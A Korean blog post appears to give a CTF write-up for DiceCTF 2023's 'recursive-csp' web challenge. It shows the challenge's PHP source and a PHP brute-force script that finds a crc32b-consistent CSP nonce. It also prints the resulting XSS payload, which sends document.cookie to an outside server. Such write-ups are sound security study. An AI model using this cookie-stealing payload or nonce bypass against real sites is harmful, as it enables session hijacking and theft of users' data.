DiceCTF 2023 - recursive-csp writeup

sani·2023년 2월 11일
0

WRITEUPS

목록 보기
1/5
post-thumbnail

web/recursive-csp

source

<?php
  if (isset($_GET["source"])) highlight_file(__FILE__) && die();

  $name = "world";
  if (isset($_GET["name"]) && is_string($_GET["name"]) && strlen($_GET["name"]) < 128) {
    $name = $_GET["name"];
  }

  $nonce = hash("crc32b", $name);
  header("Content-Security-Policy: default-src 'none'; script-src 'nonce-$nonce' 'unsafe-inline'; base-uri 'none';");
?>
<!DOCTYPE html>
<html>
  <head>
    <title>recursive-csp</title>
  </head>
  <body>
    <h1>Hello, <?php echo $name ?>!</h1>
    <h3>Enter your name:</h3>
    <form method="GET">
      <input type="text" placeholder="name" name="name" />
      <input type="submit" />
    </form>
    <!-- /?source -->
  </body>
</html>

입력받은 값을 출력해주는 간단한 코드이다.

그러나 script를 쓰기 위해서는 csp에 의해서 nonce값이 필요한데, nonce값은 우리가 입력한 값을

crc32b의 해시 값이 된다.

따라서 페이로드 입력 → 해시값 → nonce값에 해시값을 다시 입력 → 해시값 의 무한 반복의

문제 이름과 같은 재귀(recursive) 와 같은 상황이 나오게 된다.

딱히 다른 bypass 방법도 보이지 않아서, 페이로드에 있는 nonce의 해시값과 crc32b 해시값이 같은

페이로드를 찾기 시작했다.

payload

<?php
    for($i = 0x00000000; $i != 0xffffffff; $i++){
        $data = str_pad( strval(dechex($i)), 8, "0", STR_PAD_LEFT);
        $gen = '<script nonce="'.$data.'">location.href=\'https://sh-flaskserver.run.goorm.app/?test=\'+document.cookie</script>dice';
        $nonce = hash("crc32b", $gen);

        if ($i%0x100000===0){
            echo $data;
            echo ("\n");
        }
        if ($data === $nonce){
            echo "found\n";
            echo $gen.$data.$nonce;
            exit();
        }
    }
?>
<script nonce="09792f59">location.href='https://sh-flaskserver.run.goorm.app/?test='+document.cookie(https://sh-flaskserver.run.goorm.app/?test=%27+document.cookie)</script>dice

crc32b_hash = "09792f59"

이제 이 페이로드가 담긴 링크를 어드민봇에게 제출하게 되면, 쿠키에 담긴 플래그 값을 받을 수 있다.

<?php
    for($i = 0x00000000; $i != 0xffffffff; $i++){
        $data = str_pad( strval(dechex($i)), 8, "0", STR_PAD_LEFT);
        $gen = '<script nonce="4578d824">location.href=\'https://sh-flaskserver.run.goorm.app/?test=\'+document.cookie</script>dice';
        $nonce = hash("crc32b", $gen);

        if ($data === $nonce){
            echo "found\n";
            echo $gen.$data.$nonce;
            exit();
        }
    }
?>

처음에는 위의 코드와 같이 일정 수준 끊어서 진행상황을 출력하는 것이 아닌,
일일히 진행상황을 출력하는 바람에 속도차이가 몇십배나 차이가 나버렸다.

이 실수 하나 때문에 recursive-csp에 시간을 너무 쏟게 되었고, 다른 문제를 별로 손대지 못하여서 자세히 분석하지 못한게 너무 아쉬웠다.....ㅠ

profile
창원대학교 보안동아리 CASPER

0개의 댓글